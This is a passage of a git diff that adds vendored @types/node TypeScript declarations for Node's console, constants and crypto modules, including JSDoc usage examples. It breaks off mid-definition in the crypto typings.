happened')); + * // Prints error message and stack trace to stderr: + * // Error: Whoops, something bad happened + * // at [eval]:5:15 + * // at Script.runInThisContext (node:vm:132:18) + * // at Object.runInThisContext (node:vm:309:38) + * // at node:internal/process/execution:77:19 + * // at [eval]-wrapper:6:22 + * // at evalScript (node:internal/process/execution:76:60) + * // at node:internal/main/eval_string:23:3 + * + * const name = 'Will Robinson'; + * console.warn(`Danger ${name}! Danger!`); + * // Prints: Danger Will Robinson! Danger!, to stderr + * ``` + * + * Example using the `Console` class: + * + * ```js + * const out = getStreamSomehow(); + * const err = getStreamSomehow(); + * const myConsole = new console.Console(out, err); + * + * myConsole.log('hello world'); + * // Prints: hello world, to out + * myConsole.log('hello %s', 'world'); + * // Prints: hello world, to out + * myConsole.error(new Error('Whoops, something bad happened')); + * // Prints: [Error: Whoops, something bad happened], to err + * + * const name = 'Will Robinson'; + * myConsole.warn(`Danger ${name}! Danger!`); + * // Prints: Danger Will Robinson! Danger!, to err + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/console.js) + */ +declare module "console" { + import console = require("node:console"); + export = console; +} +declare module "node:console" { + import { InspectOptions } from "node:util"; + global { + // This needs to be global to avoid TS2403 in case lib.dom.d.ts is present in the same build + interface Console { + Console: console.ConsoleConstructor; + /** + * `console.assert()` writes a message if `value` is [falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy) or omitted. It only + * writes a message and does not otherwise affect execution. The output always + * starts with `"Assertion failed"`. If provided, `message` is formatted using + * [`util.format()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilformatformat-args). + * + * If `value` is [truthy](https://developer.mozilla.org/en-US/docs/Glossary/Truthy), nothing happens. + * + * ```js + * console.assert(true, 'does nothing'); + * + * console.assert(false, 'Whoops %s work', 'didn\'t'); + * // Assertion failed: Whoops didn't work + * + * console.assert(); + * // Assertion failed + * ``` + * @since v0.1.101 + * @param value The value tested for being truthy. + * @param message All arguments besides `value` are used as error message. + */ + assert(value: any, message?: string, ...optionalParams: any[]): void; + /** + * When `stdout` is a TTY, calling `console.clear()` will attempt to clear the + * TTY. When `stdout` is not a TTY, this method does nothing. + * + * The specific operation of `console.clear()` can vary across operating systems + * and terminal types. For most Linux operating systems, `console.clear()` operates similarly to the `clear` shell command. On Windows, `console.clear()` will clear only the output in the + * current terminal viewport for the Node.js + * binary. + * @since v8.3.0 + */ + clear(): void; + /** + * Maintains an internal counter specific to `label` and outputs to `stdout` the + * number of times `console.count()` has been called with the given `label`. + * + * ```js + * > console.count() + * default: 1 + * undefined + * > console.count('default') + * default: 2 + * undefined + * > console.count('abc') + * abc: 1 + * undefined + * > console.count('xyz') + * xyz: 1 + * undefined + * > console.count('abc') + * abc: 2 + * undefined + * > console.count() + * default: 3 + * undefined + * > + * ``` + * @since v8.3.0 + * @param [label='default'] The display label for the counter. + */ + count(label?: string): void; + /** + * Resets the internal counter specific to `label`. + * + * ```js + * > console.count('abc'); + * abc: 1 + * undefined + * > console.countReset('abc'); + * undefined + * > console.count('abc'); + * abc: 1 + * undefined + * > + * ``` + * @since v8.3.0 + * @param [label='default'] The display label for the counter. + */ + countReset(label?: string): void; + /** + * The `console.debug()` function is an alias for {@link log}. + * @since v8.0.0 + */ + debug(message?: any, ...optionalParams: any[]): void; + /** + * Uses [`util.inspect()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilinspectobject-options) on `obj` and prints the resulting string to `stdout`. + * This function bypasses any custom `inspect()` function defined on `obj`. + * @since v0.1.101 + */ + dir(obj: any, options?: InspectOptions): void; + /** + * This method calls `console.log()` passing it the arguments received. + * This method does not produce any XML formatting. + * @since v8.0.0 + */ + dirxml(...data: any[]): void; + /** + * Prints to `stderr` with newline. Multiple arguments can be passed, with the + * first used as the primary message and all additional used as substitution + * values similar to [`printf(3)`](http://man7.org/linux/man-pages/man3/printf.3.html) + * (the arguments are all passed to [`util.format()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilformatformat-args)). + * + * ```js + * const code = 5; + * console.error('error #%d', code); + * // Prints: error #5, to stderr + * console.error('error', code); + * // Prints: error 5, to stderr + * ``` + * + * If formatting elements (e.g. `%d`) are not found in the first string then + * [`util.inspect()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilinspectobject-options) is called on each argument and the + * resulting string values are concatenated. See [`util.format()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilformatformat-args) + * for more information. + * @since v0.1.100 + */ + error(message?: any, ...optionalParams: any[]): void; + /** + * Increases indentation of subsequent lines by spaces for `groupIndentation` length. + * + * If one or more `label`s are provided, those are printed first without the + * additional indentation. + * @since v8.5.0 + */ + group(...label: any[]): void; + /** + * An alias for {@link group}. + * @since v8.5.0 + */ + groupCollapsed(...label: any[]): void; + /** + * Decreases indentation of subsequent lines by spaces for `groupIndentation` length. + * @since v8.5.0 + */ + groupEnd(): void; + /** + * The `console.info()` function is an alias for {@link log}. + * @since v0.1.100 + */ + info(message?: any, ...optionalParams: any[]): void; + /** + * Prints to `stdout` with newline. Multiple arguments can be passed, with the + * first used as the primary message and all additional used as substitution + * values similar to [`printf(3)`](http://man7.org/linux/man-pages/man3/printf.3.html) + * (the arguments are all passed to [`util.format()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilformatformat-args)). + * + * ```js + * const count = 5; + * console.log('count: %d', count); + * // Prints: count: 5, to stdout + * console.log('count:', count); + * // Prints: count: 5, to stdout + * ``` + * + * See [`util.format()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilformatformat-args) for more information. + * @since v0.1.100 + */ + log(message?: any, ...optionalParams: any[]): void; + /** + * Try to construct a table with the columns of the properties of `tabularData` (or use `properties`) and rows of `tabularData` and log it. Falls back to just + * logging the argument if it can't be parsed as tabular. + * + * ```js + * // These can't be parsed as tabular data + * console.table(Symbol()); + * // Symbol() + * + * console.table(undefined); + * // undefined + * + * console.table([{ a: 1, b: 'Y' }, { a: 'Z', b: 2 }]); + * // ┌─────────┬─────┬─────┐ + * // │ (index) │ a │ b │ + * // ├─────────┼─────┼─────┤ + * // │ 0 │ 1 │ 'Y' │ + * // │ 1 │ 'Z' │ 2 │ + * // └─────────┴─────┴─────┘ + * + * console.table([{ a: 1, b: 'Y' }, { a: 'Z', b: 2 }], ['a']); + * // ┌─────────┬─────┐ + * // │ (index) │ a │ + * // ├─────────┼─────┤ + * // │ 0 │ 1 │ + * // │ 1 │ 'Z' │ + * // └─────────┴─────┘ + * ``` + * @since v10.0.0 + * @param properties Alternate properties for constructing the table. + */ + table(tabularData: any, properties?: readonly string[]): void; + /** + * Starts a timer that can be used to compute the duration of an operation. Timers + * are identified by a unique `label`. Use the same `label` when calling {@link timeEnd} to stop the timer and output the elapsed time in + * suitable time units to `stdout`. For example, if the elapsed + * time is 3869ms, `console.timeEnd()` displays "3.869s". + * @since v0.1.104 + * @param [label='default'] + */ + time(label?: string): void; + /** + * Stops a timer that was previously started by calling {@link time} and + * prints the result to `stdout`: + * + * ```js + * console.time('bunch-of-stuff'); + * // Do a bunch of stuff. + * console.timeEnd('bunch-of-stuff'); + * // Prints: bunch-of-stuff: 225.438ms + * ``` + * @since v0.1.104 + * @param [label='default'] + */ + timeEnd(label?: string): void; + /** + * For a timer that was previously started by calling {@link time}, prints + * the elapsed time and other `data` arguments to `stdout`: + * + * ```js + * console.time('process'); + * const value = expensiveProcess1(); // Returns 42 + * console.timeLog('process', value); + * // Prints "process: 365.227ms 42". + * doExpensiveProcess2(value); + * console.timeEnd('process'); + * ``` + * @since v10.7.0 + * @param [label='default'] + */ + timeLog(label?: string, ...data: any[]): void; + /** + * Prints to `stderr` the string `'Trace: '`, followed by the [`util.format()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilformatformat-args) + * formatted message and stack trace to the current position in the code. + * + * ```js + * console.trace('Show me'); + * // Prints: (stack trace will vary based on where trace is called) + * // Trace: Show me + * // at repl:2:9 + * // at REPLServer.defaultEval (repl.js:248:27) + * // at bound (domain.js:287:14) + * // at REPLServer.runBound [as eval] (domain.js:300:12) + * // at REPLServer. (repl.js:412:12) + * // at emitOne (events.js:82:20) + * // at REPLServer.emit (events.js:169:7) + * // at REPLServer.Interface._onLine (readline.js:210:10) + * // at REPLServer.Interface._line (readline.js:549:8) + * // at REPLServer.Interface._ttyWrite (readline.js:826:14) + * ``` + * @since v0.1.104 + */ + trace(message?: any, ...optionalParams: any[]): void; + /** + * The `console.warn()` function is an alias for {@link error}. + * @since v0.1.100 + */ + warn(message?: any, ...optionalParams: any[]): void; + // --- Inspector mode only --- + /** + * This method does not display anything unless used in the inspector. The `console.profile()` + * method starts a JavaScript CPU profile with an optional label until {@link profileEnd} + * is called. The profile is then added to the Profile panel of the inspector. + * + * ```js + * console.profile('MyLabel'); + * // Some code + * console.profileEnd('MyLabel'); + * // Adds the profile 'MyLabel' to the Profiles panel of the inspector. + * ``` + * @since v8.0.0 + */ + profile(label?: string): void; + /** + * This method does not display anything unless used in the inspector. Stops the current + * JavaScript CPU profiling session if one has been started and prints the report to the + * Profiles panel of the inspector. See {@link profile} for an example. + * + * If this method is called without a label, the most recently started profile is stopped. + * @since v8.0.0 + */ + profileEnd(label?: string): void; + /** + * This method does not display anything unless used in the inspector. The `console.timeStamp()` + * method adds an event with the label `'label'` to the Timeline panel of the inspector. + * @since v8.0.0 + */ + timeStamp(label?: string): void; + } + /** + * The `console` module provides a simple debugging console that is similar to the + * JavaScript console mechanism provided by web browsers. + * + * The module exports two specific components: + * + * * A `Console` class with methods such as `console.log()`, `console.error()` and `console.warn()` that can be used to write to any Node.js stream. + * * A global `console` instance configured to write to [`process.stdout`](https://nodejs.org/docs/latest-v22.x/api/process.html#processstdout) and + * [`process.stderr`](https://nodejs.org/docs/latest-v22.x/api/process.html#processstderr). The global `console` can be used without importing the `node:console` module. + * + * _**Warning**_: The global console object's methods are neither consistently + * synchronous like the browser APIs they resemble, nor are they consistently + * asynchronous like all other Node.js streams. See the [`note on process I/O`](https://nodejs.org/docs/latest-v22.x/api/process.html#a-note-on-process-io) for + * more information. + * + * Example using the global `console`: + * + * ```js + * console.log('hello world'); + * // Prints: hello world, to stdout + * console.log('hello %s', 'world'); + * // Prints: hello world, to stdout + * console.error(new Error('Whoops, something bad happened')); + * // Prints error message and stack trace to stderr: + * // Error: Whoops, something bad happened + * // at [eval]:5:15 + * // at Script.runInThisContext (node:vm:132:18) + * // at Object.runInThisContext (node:vm:309:38) + * // at node:internal/process/execution:77:19 + * // at [eval]-wrapper:6:22 + * // at evalScript (node:internal/process/execution:76:60) + * // at node:internal/main/eval_string:23:3 + * + * const name = 'Will Robinson'; + * console.warn(`Danger ${name}! Danger!`); + * // Prints: Danger Will Robinson! Danger!, to stderr + * ``` + * + * Example using the `Console` class: + * + * ```js + * const out = getStreamSomehow(); + * const err = getStreamSomehow(); + * const myConsole = new console.Console(out, err); + * + * myConsole.log('hello world'); + * // Prints: hello world, to out + * myConsole.log('hello %s', 'world'); + * // Prints: hello world, to out + * myConsole.error(new Error('Whoops, something bad happened')); + * // Prints: [Error: Whoops, something bad happened], to err + * + * const name = 'Will Robinson'; + * myConsole.warn(`Danger ${name}! Danger!`); + * // Prints: Danger Will Robinson! Danger!, to err + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/console.js) + */ + namespace console { + interface ConsoleConstructorOptions { + stdout: NodeJS.WritableStream; + stderr?: NodeJS.WritableStream | undefined; + /** + * Ignore errors when writing to the underlying streams. + * @default true + */ + ignoreErrors?: boolean | undefined; + /** + * Set color support for this `Console` instance. Setting to true enables coloring while inspecting + * values. Setting to `false` disables coloring while inspecting values. Setting to `'auto'` makes color + * support depend on the value of the `isTTY` property and the value returned by `getColorDepth()` on the + * respective stream. This option can not be used, if `inspectOptions.colors` is set as well. + * @default auto + */ + colorMode?: boolean | "auto" | undefined; + /** + * Specifies options that are passed along to + * [`util.inspect()`](https://nodejs.org/docs/latest-v22.x/api/util.html#utilinspectobject-options). + */ + inspectOptions?: InspectOptions | undefined; + /** + * Set group indentation. + * @default 2 + */ + groupIndentation?: number | undefined; + } + interface ConsoleConstructor { + prototype: Console; + new(stdout: NodeJS.WritableStream, stderr?: NodeJS.WritableStream, ignoreErrors?: boolean): Console; + new(options: ConsoleConstructorOptions): Console; + } + } + var console: Console; + } + export = globalThis.console; +} diff --git a/node_modules/@types/node/constants.d.ts b/node_modules/@types/node/constants.d.ts new file mode 100644 index 000000000000..c3ac2b826436 --- /dev/null +++ b/node_modules/@types/node/constants.d.ts @@ -0,0 +1,19 @@ +/** @deprecated since v6.3.0 - use constants property exposed by the relevant module instead. */ +declare module "constants" { + import { constants as osConstants, SignalConstants } from "node:os"; + import { constants as cryptoConstants } from "node:crypto"; + import { constants as fsConstants } from "node:fs"; + + const exp: + & typeof osConstants.errno + & typeof osConstants.priority + & SignalConstants + & typeof cryptoConstants + & typeof fsConstants; + export = exp; +} + +declare module "node:constants" { + import constants = require("constants"); + export = constants; +} diff --git a/node_modules/@types/node/crypto.d.ts b/node_modules/@types/node/crypto.d.ts new file mode 100644 index 000000000000..9b6bcf81db24 --- /dev/null +++ b/node_modules/@types/node/crypto.d.ts @@ -0,0 +1,4451 @@ +/** + * The `node:crypto` module provides cryptographic functionality that includes a + * set of wrappers for OpenSSL's hash, HMAC, cipher, decipher, sign, and verify + * functions. + * + * ```js + * const { createHmac } = await import('node:crypto'); + * + * const secret = 'abcdefg'; + * const hash = createHmac('sha256', secret) + * .update('I love cupcakes') + * .digest('hex'); + * console.log(hash); + * // Prints: + * // c0fa1bc00531bd78ef38c628449c5102aeabd49b5dc3a2a516ea6ea959d6658e + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/crypto.js) + */ +declare module "crypto" { + import * as stream from "node:stream"; + import { PeerCertificate } from "node:tls"; + /** + * SPKAC is a Certificate Signing Request mechanism originally implemented by + * Netscape and was specified formally as part of HTML5's `keygen` element. + * + * `` is deprecated since [HTML 5.2](https://www.w3.org/TR/html52/changes.html#features-removed) and new projects + * should not use this element anymore. + * + * The `node:crypto` module provides the `Certificate` class for working with SPKAC + * data. The most common usage is handling output generated by the HTML5 `` element. Node.js uses [OpenSSL's SPKAC + * implementation](https://www.openssl.org/docs/man3.0/man1/openssl-spkac.html) internally. + * @since v0.11.8 + */ + class Certificate { + /** + * ```js + * const { Certificate } = await import('node:crypto'); + * const spkac = getSpkacSomehow(); + * const challenge = Certificate.exportChallenge(spkac); + * console.log(challenge.toString('utf8')); + * // Prints: the challenge as a UTF8 string + * ``` + * @since v9.0.0 + * @param encoding The `encoding` of the `spkac` string. + * @return The challenge component of the `spkac` data structure, which includes a public key and a challenge. + */ + static exportChallenge(spkac: BinaryLike): Buffer; + /** + * ```js + * const { Certificate } = await import('node:crypto'); + * const spkac = getSpkacSomehow(); + * const publicKey = Certificate.exportPublicKey(spkac); + * console.log(publicKey); + * // Prints: the public key as + * ``` + * @since v9.0.0 + * @param encoding The `encoding` of the `spkac` string. + * @return The public key component of the `spkac` data structure, which includes a public key and a challenge. + */ + static exportPublicKey(spkac: BinaryLike, encoding?: string): Buffer; + /** + * ```js + * import { Buffer } from 'node:buffer'; + * const { Certificate } = await import('node:crypto'); + * + * const spkac = getSpkacSomehow(); + * console.log(Certificate.verifySpkac(Buffer.from(spkac))); + * // Prints: true or false + * ``` + * @since v9.0.0 + * @param encoding The `encoding` of the `spkac` string. + * @return `true` if the given `spkac` data structure is valid, `false` otherwise. + */ + static verifySpkac(spkac: NodeJS.ArrayBufferView): boolean; + /** + * @deprecated + * @param spkac + * @returns The challenge component of the `spkac` data structure, + * which includes a public key and a challenge. + */ + exportChallenge(spkac: BinaryLike): Buffer; + /** + * @deprecated + * @param spkac + * @param encoding The encoding of the spkac string. + * @returns The public key component of the `spkac` data structure, + * which includes a public key and a challenge. + */ + exportPublicKey(spkac: BinaryLike, encoding?: string): Buffer; + /** + * @deprecated + * @param spkac + * @returns `true` if the given `spkac` data structure is valid, + * `false` otherwise. + */ + verifySpkac(spkac: NodeJS.ArrayBufferView): boolean; + } + namespace constants { + // https://nodejs.org/dist/latest-v22.x/docs/api/crypto.html#crypto-constants + const OPENSSL_VERSION_NUMBER: number; + /** Applies multiple bug workarounds within OpenSSL. See https://www.openssl.org/docs/man1.0.2/ssl/SSL_CTX_set_options.html for detail. */ + const SSL_OP_ALL: number; + /** Instructs OpenSSL to allow a non-[EC]DHE-based key exchange mode for TLS v1.3 */ + const SSL_OP_ALLOW_NO_DHE_KEX: number; + /** Allows legacy insecure renegotiation between OpenSSL and unpatched clients or servers. See https://www.openssl.org/docs/man1.0.2/ssl/SSL_CTX_set_options.html. */ + const SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION: number; + /** Attempts to use the server's preferences instead of the client's when selecting a cipher. See https://www.openssl.org/docs/man1.0.2/ssl/SSL_CTX_set_options.html. */ + const SSL_OP_CIPHER_SERVER_PREFERENCE: number; + /** Instructs OpenSSL to use Cisco's version identifier of DTLS_BAD_VER. */ + const SSL_OP_CISCO_ANYCONNECT: number; + /** Instructs OpenSSL to turn on cookie exchange. */ + const SSL_OP_COOKIE_EXCHANGE: number; + /** Instructs OpenSSL to add server-hello extension from an early version of the cryptopro draft. */ + const SSL_OP_CRYPTOPRO_TLSEXT_BUG: number; + /** Instructs OpenSSL to disable a SSL 3.0/TLS 1.0 vulnerability workaround added in OpenSSL 0.9.6d. */ + const SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS: number; + /** Allows initial connection to servers that do not support RI. */ + const SSL_OP_LEGACY_SERVER_CONNECT: number; + /** Instructs OpenSSL to disable support for SSL/TLS compression. */ + const SSL_OP_NO_COMPRESSION: number; + /** Instructs OpenSSL to disable encrypt-then-MAC. */ + const SSL_OP_NO_ENCRYPT_THEN_MAC: number; + const SSL_OP_NO_QUERY_MTU: number; + /** Instructs OpenSSL to disable renegotiation. */ + const SSL_OP_NO_RENEGOTIATION: number; + /** Instructs OpenSSL to always start a new session when performing renegotiation. */ + const SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION: number; + /** Instructs OpenSSL to turn off SSL v2 */ + const SSL_OP_NO_SSLv2: number; + /** Instructs OpenSSL to turn off SSL v3 */ + const SSL_OP_NO_SSLv3: number; + /** Instructs OpenSSL to disable use of RFC4507bis tickets. */ + const SSL_OP_NO_TICKET: number; + /** Instructs OpenSSL to turn off TLS v1 */ + const SSL_OP_NO_TLSv1: number; + /** Instructs OpenSSL to turn off TLS v1.1 */ + const SSL_OP_NO_TLSv1_1: number; + /** Instructs OpenSSL to turn off TLS v1.2 */ + const SSL_OP_NO_TLSv1_2: number; + /** Instructs OpenSSL to turn off TLS v1.3 */ + const SSL_OP_NO_TLSv1_3: number; + /** Instructs OpenSSL server to prioritize ChaCha20-Poly1305 when the client does. This option has no effect if `SSL_OP_CIPHER_SERVER_PREFERENCE` is not enabled. */ + const SSL_OP_PRIORITIZE_CHACHA: number; + /** Instructs OpenSSL to disable version rollback attack detection. */ + const SSL_OP_TLS_ROLLBACK_BUG: number; + const ENGINE_METHOD_RSA: number; + const ENGINE_METHOD_DSA: number; + const ENGINE_METHOD_DH: number; + const ENGINE_METHOD_RAND: number; + const ENGINE_METHOD_EC: number; + const ENGINE_METHOD_CIPHERS: number; + const ENGINE_METHOD_DIGESTS: number; + const ENGINE_METHOD_PKEY_METHS: number; + const ENGINE_METHOD_PKEY_ASN1_METHS: number; + const ENGINE_METHOD_ALL: number; + const ENGINE_METHOD_NONE: number; + const DH_CHECK_P_NOT_SAFE_PRIME: number; + const DH_CHECK_P_NOT_PRIME: number; + const DH_UNABLE_TO_CHECK_GENERATOR: number; + const DH_NOT_SUITABLE_GENERATOR: number; + const RSA_PKCS1_PADDING: number; + const RSA_SSLV23_PADDING: number; + const RSA_NO_PADDING: number; + const RSA_PKCS1_OAEP_PADDING: number; + const RSA_X931_PADDING: number; + const RSA_PKCS1_PSS_PADDING: number; + /** Sets the salt length for RSA_PKCS1_PSS_PADDING to the digest size when signing or verifying. */ + const RSA_PSS_SALTLEN_DIGEST: number; + /** Sets the salt length for RSA_PKCS1_PSS_PADDING to the maximum permissible value when signing data. */ + const RSA_PSS_SALTLEN_MAX_SIGN: number; + /** Causes the salt length for RSA_PKCS1_PSS_PADDING to be determined automatically when verifying a signature. */ + const RSA_PSS_SALTLEN_AUTO: number; + const POINT_CONVERSION_COMPRESSED: number; + const POINT_CONVERSION_UNCOMPRESSED: number; + const POINT_CONVERSION_HYBRID: number; + /** Specifies the built-in default cipher list used by Node.js (colon-separated values). */ + const defaultCoreCipherList: string; + /** Specifies the active default cipher list used by the current Node.js process (colon-separated values). */ + const defaultCipherList: string; + } + interface HashOptions extends stream.TransformOptions { + /** + * For XOF hash functions such as `shake256`, the + * outputLength option can be used to specify the desired output length in bytes. + */ + outputLength?: number | undefined; + } + /** @deprecated since v10.0.0 */ + const fips: boolean; + /** + * Creates and returns a `Hash` object that can be used to generate hash digests + * using the given `algorithm`. Optional `options` argument controls stream + * behavior. For XOF hash functions such as `'shake256'`, the `outputLength` option + * can be used to specify the desired output length in bytes. + * + * The `algorithm` is dependent on the available algorithms supported by the + * version of OpenSSL on the platform. Examples are `'sha256'`, `'sha512'`, etc. + * On recent releases of OpenSSL, `openssl list -digest-algorithms` will + * display the available digest algorithms. + * + * Example: generating the sha256 sum of a file + * + * ```js + * import { + * createReadStream, + * } from 'node:fs'; + * import { argv } from 'node:process'; + * const { + * createHash, + * } = await import('node:crypto'); + * + * const filename = argv[2]; + * + * const hash = createHash('sha256'); + * + * const input = createReadStream(filename); + * input.on('readable', () => { + * // Only one element is going to be produced by the + * // hash stream. + * const data = input.read(); + * if (data) + * hash.update(data); + * else { + * console.log(`${hash.digest('hex')} ${filename}`); + * } + * }); + * ``` + * @since v0.1.92 + * @param options `stream.transform` options + */ + function createHash(algorithm: string, options?: HashOptions): Hash; + /** + * Creates and returns an `Hmac` object that uses the given `algorithm` and `key`. + * Optional `options` argument controls stream behavior. + * + * The `algorithm` is dependent on the available algorithms supported by the + * version of OpenSSL on the platform. Examples are `'sha256'`, `'sha512'`, etc. + * On recent releases of OpenSSL, `openssl list -digest-algorithms` will + * display the available digest algorithms. + * + * The `key` is the HMAC key used to generate the cryptographic HMAC hash. If it is + * a `KeyObject`, its type must be `secret`. If it is a string, please consider `caveats when using strings as inputs to cryptographic APIs`. If it was + * obtained from a cryptographically secure source of entropy, such as {@link randomBytes} or {@link generateKey}, its length should not + * exceed the block size of `algorithm` (e.g., 512 bits for SHA-256). + * + * Example: generating the sha256 HMAC of a file + * + * ```js + * import { + * createReadStream, + * } from 'node:fs'; + * import { argv } from 'node:process'; + * const { + * createHmac, + * } = await import('node:crypto'); + * + * const filename = argv[2]; + * + * const hmac = createHmac('sha256', 'a secret'); + * + * const input = createReadStream(filename); + * input.on('readable', () => { + * // Only one element is going to be produced by the + * // hash stream. + * const data = input.read(); + * if (data) + * hmac.update(data); + * else { + * console.log(`${hmac.digest('hex')} ${filename}`); + * } + * }); + * ``` + * @since v0.1.94 + * @param options `stream.transform` options + */ + function createHmac(algorithm: string, key: BinaryLike | KeyObject, options?: stream.TransformOptions): Hmac; + // https://nodejs.org/api/buffer.html#buffer_buffers_and_character_encodings + type BinaryToTextEncoding = "base64" | "base64url" | "hex" | "binary"; + type CharacterEncoding = "utf8" | "utf-8" | "utf16le" | "utf-16le" | "latin1"; + type LegacyCharacterEncoding = "ascii" | "binary" | "ucs2" | "ucs-2"; + type Encoding = BinaryToTextEncoding | CharacterEncoding | LegacyCharacterEncoding; + type ECDHKeyFormat = "compressed" | "uncompressed" | "hybrid"; + /** + * The `Hash` class is a utility for creating hash digests of data. It can be + * used in one of two ways: + * + * * As a `stream` that is both readable and writable, where data is written + * to produce a computed hash digest on the readable side, or + * * Using the `hash.update()` and `hash.digest()` methods to produce the + * computed hash. + * + * The {@link createHash} method is used to create `Hash` instances. `Hash`objects are not to be created directly using the `new` keyword. + * + * Example: Using `Hash` objects as streams: + * + * ```js + * const { + * createHash, + * } = await import('node:crypto'); + * + * const hash = createHash('sha256'); + * + * hash.on('readable', () => { + * // Only one element is going to be produced by the + * // hash stream. + * const data = hash.read(); + * if (data) { + * console.log(data.toString('hex')); + * // Prints: + * // 6a2da20943931e9834fc12cfe5bb47bbd9ae43489a30726962b576f4e3993e50 + * } + * }); + * + * hash.write('some data to hash'); + * hash.end(); + * ``` + * + * Example: Using `Hash` and piped streams: + * + * ```js + * import { createReadStream } from 'node:fs'; + * import { stdout } from 'node:process'; + * const { createHash } = await import('node:crypto'); + * + * const hash = createHash('sha256'); + * + * const input = createReadStream('test.js'); + * input.pipe(hash).setEncoding('hex').pipe(stdout); + * ``` + * + * Example: Using the `hash.update()` and `hash.digest()` methods: + * + * ```js + * const { + * createHash, + * } = await import('node:crypto'); + * + * const hash = createHash('sha256'); + * + * hash.update('some data to hash'); + * console.log(hash.digest('hex')); + * // Prints: + * // 6a2da20943931e9834fc12cfe5bb47bbd9ae43489a30726962b576f4e3993e50 + * ``` + * @since v0.1.92 + */ + class Hash extends stream.Transform { + private constructor(); + /** + * Creates a new `Hash` object that contains a deep copy of the internal state + * of the current `Hash` object. + * + * The optional `options` argument controls stream behavior. For XOF hash + * functions such as `'shake256'`, the `outputLength` option can be used to + * specify the desired output length in bytes. + * + * An error is thrown when an attempt is made to copy the `Hash` object after + * its `hash.digest()` method has been called. + * + * ```js + * // Calculate a rolling hash. + * const { + * createHash, + * } = await import('node:crypto'); + * + * const hash = createHash('sha256'); + * + * hash.update('one'); + * console.log(hash.copy().digest('hex')); + * + * hash.update('two'); + * console.log(hash.copy().digest('hex')); + * + * hash.update('three'); + * console.log(hash.copy().digest('hex')); + * + * // Etc. + * ``` + * @since v13.1.0 + * @param options `stream.transform` options + */ + copy(options?: HashOptions): Hash; + /** + * Updates the hash content with the given `data`, the encoding of which + * is given in `inputEncoding`. + * If `encoding` is not provided, and the `data` is a string, an + * encoding of `'utf8'` is enforced. If `data` is a `Buffer`, `TypedArray`, or`DataView`, then `inputEncoding` is ignored. + * + * This can be called many times with new data as it is streamed. + * @since v0.1.92 + * @param inputEncoding The `encoding` of the `data` string. + */ + update(data: BinaryLike): Hash; + update(data: string, inputEncoding: Encoding): Hash; + /** + * Calculates the digest of all of the data passed to be hashed (using the `hash.update()` method). + * If `encoding` is provided a string will be returned; otherwise + * a `Buffer` is returned. + * + * The `Hash` object can not be used again after `hash.digest()` method has been + * called. Multiple calls will cause an error to be thrown. + * @since v0.1.92 + * @param encoding The `encoding` of the return value. + */ + digest(): Buffer; + digest(encoding: BinaryToTextEncoding): string; + } + /** + * The `Hmac` class is a utility for creating cryptographic HMAC digests. It can + * be used in one of two ways: + * + * * As a `stream` that is both readable and writable, where data is written + * to produce a computed HMAC digest on the readable side, or + * * Using the `hmac.update()` and `hmac.digest()` methods to produce the + * computed HMAC digest. + * + * The {@link createHmac} method is used to create `Hmac` instances. `Hmac`objects are not to be created directly using the `new` keyword. + * + * Example: Using `Hmac` objects as streams: + * + * ```js + * const { + * createHmac, + * } = await import('node:crypto'); + * + * const hmac = createHmac('sha256', 'a secret'); + * + * hmac.on('readable', () => { + * // Only one element is going to be produced by the + * // hash stream. + * const data = hmac.read(); + * if (data) { + * console.log(data.toString('hex')); + * // Prints: + * // 7fd04df92f636fd450bc841c9418e5825c17f33ad9c87c518115a45971f7f77e + * } + * }); + * + * hmac.write('some data to hash'); + * hmac.end(); + * ``` + * + * Example: Using `Hmac` and piped streams: + * + * ```js + * import { createReadStream } from 'node:fs'; + * import { stdout } from 'node:process'; + * const { + * createHmac, + * } = await import('node:crypto'); + * + * const hmac = createHmac('sha256', 'a secret'); + * + * const input = createReadStream('test.js'); + * input.pipe(hmac).pipe(stdout); + * ``` + * + * Example: Using the `hmac.update()` and `hmac.digest()` methods: + * + * ```js + * const { + * createHmac, + * } = await import('node:crypto'); + * + * const hmac = createHmac('sha256', 'a secret'); + * + * hmac.update('some data to hash'); + * console.log(hmac.digest('hex')); + * // Prints: + * // 7fd04df92f636fd450bc841c9418e5825c17f33ad9c87c518115a45971f7f77e + * ``` + * @since v0.1.94 + * @deprecated Since v20.13.0 Calling `Hmac` class directly with `Hmac()` or `new Hmac()` is deprecated due to being internals, not intended for public use. Please use the {@link createHmac} method to create Hmac instances. + */ + class Hmac extends stream.Transform { + private constructor(); + /** + * Updates the `Hmac` content with the given `data`, the encoding of which + * is given in `inputEncoding`. + * If `encoding` is not provided, and the `data` is a string, an + * encoding of `'utf8'` is enforced. If `data` is a `Buffer`, `TypedArray`, or`DataView`, then `inputEncoding` is ignored. + * + * This can be called many times with new data as it is streamed. + * @since v0.1.94 + * @param inputEncoding The `encoding` of the `data` string. + */ + update(data: BinaryLike): Hmac; + update(data: string, inputEncoding: Encoding): Hmac; + /** + * Calculates the HMAC digest of all of the data passed using `hmac.update()`. + * If `encoding` is + * provided a string is returned; otherwise a `Buffer` is returned; + * + * The `Hmac` object can not be used again after `hmac.digest()` has been + * called. Multiple calls to `hmac.digest()` will result in an error being thrown. + * @since v0.1.94 + * @param encoding The `encoding` of the return value. + */ + digest(): Buffer; + digest(encoding: BinaryToTextEncoding): string; + } + type KeyObjectType = "secret" | "public" | "private"; + interface KeyExportOptions { + type: "pkcs1" | "spki" | "pkcs8" | "sec1"; + format: T; + cipher?: string | undefined; + passphrase?: string | Buffer | undefined; + } + interface JwkKeyExportOptions { + format: "jwk"; + } + interface JsonWebKey { + crv?: string | undefined; + d?: string | undefined; + dp?: string | undefined; + dq?: string | undefined; + e?: string | undefined; + k?: string | undefined; + kty?: string | undefined; + n?: string | undefined; + p?: string | undefined; + q?: string | undefined; + qi?: string | undefined; + x?: string | undefined; + y?: string 